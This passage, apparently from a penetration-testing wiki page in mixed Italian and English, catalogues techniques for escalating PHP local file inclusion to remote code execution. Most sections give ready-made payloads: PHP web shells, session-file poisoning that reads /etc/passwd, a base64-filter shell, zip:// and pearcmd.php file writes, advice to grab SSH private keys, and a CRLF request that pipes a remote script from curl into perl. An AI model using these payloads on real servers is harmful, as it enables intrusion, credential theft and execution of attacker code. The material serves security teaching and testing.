Se puoi uploadare un file, basta iniettare il shell payload al suo interno (es.: `<?php system($_GET['c']); ?>`).
|
||
```
|
||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
```
|
||
Per mantenere il file leggibile è meglio inserire nei metadati delle immagini/doc/pdf
|
||
|
||
### Via upload di file ZIP
|
||
|
||
Carica un file ZIP che contiene una PHP shell compressa e accedi:
|
||
```python
|
||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||
```
|
||
### Tramite PHP sessions
|
||
|
||
Verifica se il sito usa PHP Session (PHPSESSID)
|
||
```
|
||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
```
|
||
In PHP queste sessioni sono memorizzate in _/var/lib/php5/sess\\_\[PHPSESSID]\_ file
|
||
```
|
||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
```
|
||
Imposta il cookie su `<?php system('cat /etc/passwd');?>`
|
||
```
|
||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
```
|
||
Usa LFI per includere il file di sessione PHP
|
||
```
|
||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||
```
|
||
### Via ssh
|
||
|
||
Se ssh è attivo controlla quale utente è in uso (/proc/self/status & /etc/passwd) e prova ad accedere **\<HOME>/.ssh/id_rsa**
|
||
|
||
### **Via** **vsftpd** _**logs**_
|
||
|
||
The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
|
||
|
||
1. Inject a PHP payload into the username field during the login process.
|
||
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
|
||
|
||
### Via php base64 filter (using base64)
|
||
|
||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) articolo, PHP base64 filter semplicemente ignora i caratteri Non-base64. Puoi usare questo per bypassare il controllo dell'estensione del file: se fornisci un base64 che termina con ".php", esso semplicemente ignorerà il "." e aggiungerà "php" al base64. Ecco un esempio di payload:
|
||
```url
|
||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
### Via php filters (nessun file necessario)
|
||
|
||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters per generare contenuto arbitrario** as output. Which basically means that you can **generare codice php arbitrario** for the include **senza doverlo scrivere** in un file.
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-php-filters.md
|
||
{{#endref}}
|
||
|
||
### Via segmentation fault
|
||
|
||
**Carica** un file che verrà memorizzato come **temporaneo** in `/tmp`, poi nella **stessa richiesta** causa un **segmentation fault**, e il **file temporaneo non verrà eliminato** e potrai cercarlo.
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-segmentation-fault.md
|
||
{{#endref}}
|
||
|
||
### Via Nginx temp file storage
|
||
|
||
Se trovi una **Local File Inclusion** e **Nginx** è in esecuzione davanti a PHP potresti essere in grado di ottenere RCE con la seguente tecnica:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-nginx-temp-files.md
|
||
{{#endref}}
|
||
|
||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||
|
||
Se trovi una **Local File Inclusion** anche se **non hai una sessione** e `session.auto_start` è `Off`. Se fornisci la **`PHP_SESSION_UPLOAD_PROGRESS`** nei dati **multipart POST**, PHP **abiliterà la sessione per te**. Potresti abusarne per ottenere RCE:
|
||
|
||
|
||
{{#ref}}
|
||
via-php_session_upload_progress.md
|
||
{{#endref}}
|
||
|
||
### Via temp file uploads in Windows
|
||
|
||
Se trovi una **Local File Inclusion** e il server è in esecuzione su **Windows**, potresti ottenere RCE:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-temp-file-uploads.md
|
||
{{#endref}}
|
||
|
||
### Via `pearcmd.php` + URL args
|
||
|
||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||
|
||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||
```bash
|
||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||
```
|
||
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da [**qui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||
```
|
||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||
%0d%0a
|
||
```
|
||
### Via phpinfo() (file_uploads = on)
|
||
|
||
Se trovi una **Local File Inclusion** e un file che espone **phpinfo()** con file_uploads = on puoi ottenere RCE:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-phpinfo.md
|
||
{{#endref}}
|
||
|
||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||
|
||
Se trovi una **Local File Inclusion** e puoi **esfiltrare il percorso** del file temporaneo MA il **server** sta **controllando** se il **file da includere abbia marcatori PHP**, puoi provare a **bypassare quel controllo** con questa **Race Condition**:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||
{{#endref}}
|
||
|
||
### Via eternal waiting + bruteforce
|
||
|
||
Se puoi abusare della LFI per **caricare file temporanei** e far sì che il server **blocchi** l'esecuzione PHP, potresti poi **forzare i nomi dei file per ore** per trovare il file temporaneo:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-eternal-waiting.md
|
||
{{#endref}}
|
||
|
||
### Verso un Fatal Error
|
||
|
||
Se includi uno dei file `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Devi includere lo stesso file 2 volte per far scattare quell'errore).
|
||
|
||
**Non so quanto possa essere utile, ma potrebbe esserlo.**\
|
||
_Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono eliminati._
|
||
|
||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## References
|
||
|
||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
|
||
{{#file}}
|
||
EN-Local-File-Inclusion-1.pdf
|
||
{{#endfile}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|